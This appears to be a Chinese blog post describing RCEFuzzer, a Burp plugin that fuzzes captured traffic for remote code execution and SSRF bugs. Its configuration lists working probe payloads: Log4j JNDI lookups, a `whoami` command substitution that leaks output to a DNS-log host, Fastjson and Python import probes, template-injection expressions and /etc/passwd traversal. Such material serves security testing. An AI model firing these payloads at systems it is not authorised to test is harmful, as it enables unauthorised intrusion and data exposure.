寫在前面 1. 這是大概三年前的版本,基本已經(jīng)停止維護(hù),除非嚴(yán)重 Bug 外不考慮更新。 2. 這個(gè)版本是以 Burp 插件的形式存在,新版本是獨(dú)立的系統(tǒng),僅在 JJ Team 開放使用。 3. 僅開放 Release 版本作為交流學(xué)習(xí)使用, jar 沒做混淆,實(shí)際上和放代碼差別不大,作為交流學(xué)習(xí)使用我認(rèn)為足夠了,拿著源代碼做細(xì)微調(diào)整意義不大,研究學(xué)習(xí)建議重構(gòu)。 4. 歡迎交流學(xué)習(xí)~ 01 工具地址 https://github.com/TheKingOfDuck/RCEFuzzer 02 基礎(chǔ)介紹 這是一個(gè)以 fuzz 為中心思想的被動(dòng)掃描工具,多數(shù)掃描器的工作邏輯是以已知漏洞去沖目標(biāo),然后根據(jù)條件判斷是否存在這個(gè)已知的漏洞;RCEFuzzer 的工作邏輯是以通用 payload 去污染目標(biāo)的參數(shù),然后根據(jù)條件判斷是否存在未知漏洞。 舉個(gè)例子,假設(shè)被動(dòng)收集到的流量是:
如果配置了三條通用的 payload : ${jndi:ldap://dnslog/log4j} `whoami`.dnslog {'@type':'java.net.Inet4Address','val':'dnslog'} 那么 RCEFuzzer 的參數(shù)污染模塊將對(duì)目標(biāo)發(fā)起以下請(qǐng)求:
理論上總的請(qǐng)求量是 3*6=18 次。這僅是參數(shù)污染模塊,如果帶上其他模塊,那請(qǐng)求量可能是 50 。如果 payload 寫得多點(diǎn),原流量大一點(diǎn),那么可能是 5000 次。 流量過大注定他沒法在常規(guī)日站的場(chǎng)景使用,給目標(biāo)寫入一堆臟數(shù)據(jù),那就得不償失了。 對(duì)自己日常自己跑起來要挖洞的系統(tǒng),測(cè)試類環(huán)境的系統(tǒng)就無所謂。 03 資產(chǎn)去重 上面提到流量會(huì)非常大,選出需要污染的流量就尤為重要,降低掃描基數(shù),掃描流量也將大幅下降,那么在這個(gè)方向上我做了哪些嘗試呢:重點(diǎn)參考
除最基本的靜態(tài)資源去重外,這里面還提到了關(guān)于 urlpath 、 query 等的處理的思路,但是不夠完全,細(xì)心一點(diǎn)的會(huì)發(fā)現(xiàn)上文中提到的流量: {'key1':'value1','key2':'eyJpbm5lcmtleTEiOiJpbm5lcnZhbHVlMSJ9','id':1,'isLogin':false,'key3':{'innerkey2':'{\'k3\':\'v3\'}'}} 這里面的 id 和 isLogin 是沒有污染的,因?yàn)榇蟛糠趾蠖苏Z言都會(huì)定義好參數(shù)類型,對(duì)于整數(shù)型、布爾型的參數(shù)沒有太大污染的必要,徒增報(bào)錯(cuò)罷了,除此之外流量中常見 uuid 、hash 等常見格式的值也會(huì)跳過污染,進(jìn)一步縮減流量。 這里需要單獨(dú)再提一下,實(shí)踐中有很多確認(rèn)是重復(fù)的,比如:
顯然兩條流量對(duì)應(yīng)了同一后端,是重復(fù)的,沒必要都掃,但他沒有像 uuid 或 md5 一樣的固定特征,正則沒法解決,看到一些同行的解決方案是上大模型去識(shí)別,頗有種工作飽和了沒事干的感覺,本質(zhì)上是區(qū)分文本是否為隨機(jī)的,即將文本分為是否隨機(jī)兩種類型,業(yè)界有非常多成熟的文本分類模型訓(xùn)練教程,現(xiàn)成的模型,不用 GPU 就可以快速解決問題。 04 掃描模塊 開放的版本中功能覆蓋的有限,僅簡單介紹一些思路。核心邏輯是遞歸追加/替換污染,對(duì)嵌套的 from-data 、json 、xml 、soap 等進(jìn)行自動(dòng)解碼、污染、再編碼。 JSON 污染 對(duì) JSON 污染我個(gè)人理解分為以下兩類:
具體一點(diǎn)的例子: {'innerkey1':'innervalue1'} 可以污染成:
幾種漏洞類型都挺常見的。 header 污染 和JSON污染一樣:
舉個(gè)例子: GET / HTTP/1.1 Host: www.baidu.com Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en-US;q=0.9,en;q=0.8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36 Connection: close Cache-Control: max-age=0
可以污染成
像 Host 、Connection 、Content-Type 這類 header 應(yīng)該跳過污染,避免對(duì)請(qǐng)求本身造成影響,一次性替換全部 header 的鍵值這種純粹是為了 log4j 這種 payload 打過去省事,暴力出奇跡。 參數(shù)污染 JSON 場(chǎng)景下一般就嵌套下轉(zhuǎn)義后或編碼后的 JSON ,但 form-data 表單中有非常多出現(xiàn)嵌套其他類型數(shù)據(jù)的情況,比如參數(shù)中嵌套 JSON ,嵌套 XML ,從某些 OA 中能夠看出研發(fā)為了兼容做的不少 ?? 事。 同樣分為兩種模式:
還是舉個(gè)例子: https://www.baidu.com/admin/load?host=127.0.0.1&config=eyJpbm5lcmtleTEiOiJpbm5lcnZhbHVlMSJ9 可以污染成:
為什么要做追加模式在第二個(gè) case 中就可以看出。 SSRF 代碼抄自: https://github.com/ethicalhackingplayground/ssrf-king 作者基本覆蓋了常見代碼產(chǎn)生的 SSRF 和配置錯(cuò)誤導(dǎo)致的 SSRF ,非常受用。這里只是封裝了嵌套解析,其他改動(dòng)不大。 其他模塊 還有很多了其他模塊,如響應(yīng)匹配、文件上傳污染、SOAP 請(qǐng)求污染等,但并未在該版本中實(shí)現(xiàn),不再一一介紹。 05 使用技巧 需要有配套的dnslog:
KEY 是占位符,不能改動(dòng) 其他無所謂。 配置文件如下: ### # # 配置說明: # 1.tweb的配置是必須要改的, 不改顯示不了漏洞 # 2.白名單的優(yōu)先級(jí)是高于黑名單的 # 3.所有配置都是可以動(dòng)態(tài)改的, 不用重新加載插件 # 使用說明: # https://www.wolai.com/gS5UWgMmHG4ynJQgzL3AYk ### config: version: | # 插件版本 0.5 twebdomain: | # tweb 子域名配置 xxx.xx.com twebapi: | # tweb api配置 其中KEY為展位符,在新舊版本的tweb均可在Profile頁面找到 https://admin./logs?token=xxxxxx&type=dns&q=KEY timeout: | # 掃描過程中的超時(shí)配置 非tweb請(qǐng)求超時(shí)設(shè)置 單位毫秒 60000為60秒 60000 hostBlacklistReg: | # 禁止掃描的域名列表 (. ?)(gov\.cn|edu\.cn|tweb|google|gstatic)(. ?) extBlacklist: | # 禁止掃描的后綴列表,這不是正則,本來想從passive-scan-client中抄代碼的,結(jié)果發(fā)現(xiàn)他有bug... .js|.css|.jpeg|.gif|.jpg|.png|.pdf|.rar|.zip|.docx|.doc|.ico
jsonPollution: status: #on為開啟 off為關(guān)閉 on allin: | #替換整個(gè)json數(shù)據(jù)包 {'@type':'java.net.Inet4Address','val':'dnslog'} value: | #僅污染json的鍵值 為了python eval那種情況考慮 不加雙引號(hào)包裹的話污染結(jié)果類似{'test':__import__('os')} {'test':'{\'dtaa\':__import__('os')}'} '${jndi:ldap://dnslog/jsonkey}' __import__('socket').gethostbyaddr('dnslog')
paramPollution: status: #on為開啟 off為關(guān)閉 on exprs: | #為了兼容有回顯的表達(dá)式注入/代碼執(zhí)行漏洞 {{9527*2333}}|22226491 ${T(java.lang.System).getenv()}|JAVA_HOME ${T (java.lang.System).getenv()}|JAVA_HOME {php}var_dump(md5(9527));{/php}|52569c045dc348f12dfc4c85000ad832 {if var_dump(md5(9527))}{/if}|52569c045dc348f12dfc4c85000ad832 ../../../../../../../../../../../../../../../etc/passwd|root value: | dnslog ${jndi:ldap://paramPollution.dnslog/log4j} `whoami`.dnslog http://dnslog/ ping -nc 1 dnslog
headerPollution: status: #on為開啟 off為關(guān)閉 on allin: | #一次性污染除了url和host外的所有請(qǐng)求頭 ${jndi:dns://dnslog/456} ${jndi:ldap://dnslog/789} headers: | #添加的請(qǐng)求頭如果原數(shù)據(jù)包有則追加原值污染 無則添加后再發(fā)包 豎線|為key和value的分隔符號(hào)。 X-Forwarded-For|${jndi:dns://dnslog/456} X-Api-Version|${jndi:dns://dnslog/456}
ssrfPollution: status: #on為開啟 off為關(guān)閉 on
responseMatch: status: #on為開啟 off為關(guān)閉 off expr: | #添加的請(qǐng)求頭如果原數(shù)據(jù)包有則覆蓋原值污染 無則添加后再發(fā)包 thinkphp:error 參數(shù)污染中 exprs 部分的配置以 | 作為切割,區(qū)分請(qǐng)求和響應(yīng),用于回顯漏洞的檢測(cè)。tweb 處配置 dnslog 的子域名和 api 查詢的 url 即可。 06 寫在最后 RCEFuzzer 在實(shí)踐中直接或間接的為我貢獻(xiàn)了幾十個(gè)的 RCE ,不少系統(tǒng)通過點(diǎn)點(diǎn)就可輕易收割漏洞點(diǎn),進(jìn)而撕開口子,拿到代碼,進(jìn)一步審計(jì)得到更有價(jià)值的洞,是生產(chǎn)漏洞的重要一環(huán),也希望能為各位貢獻(xiàn)新的RCE! 最后的最后,特別要提的是 RCEFuzzer 中不少思路都來源于 c26root (即大 6 老師)的指點(diǎn),大 6 老師才是真正的神,大 6 老師????! |
|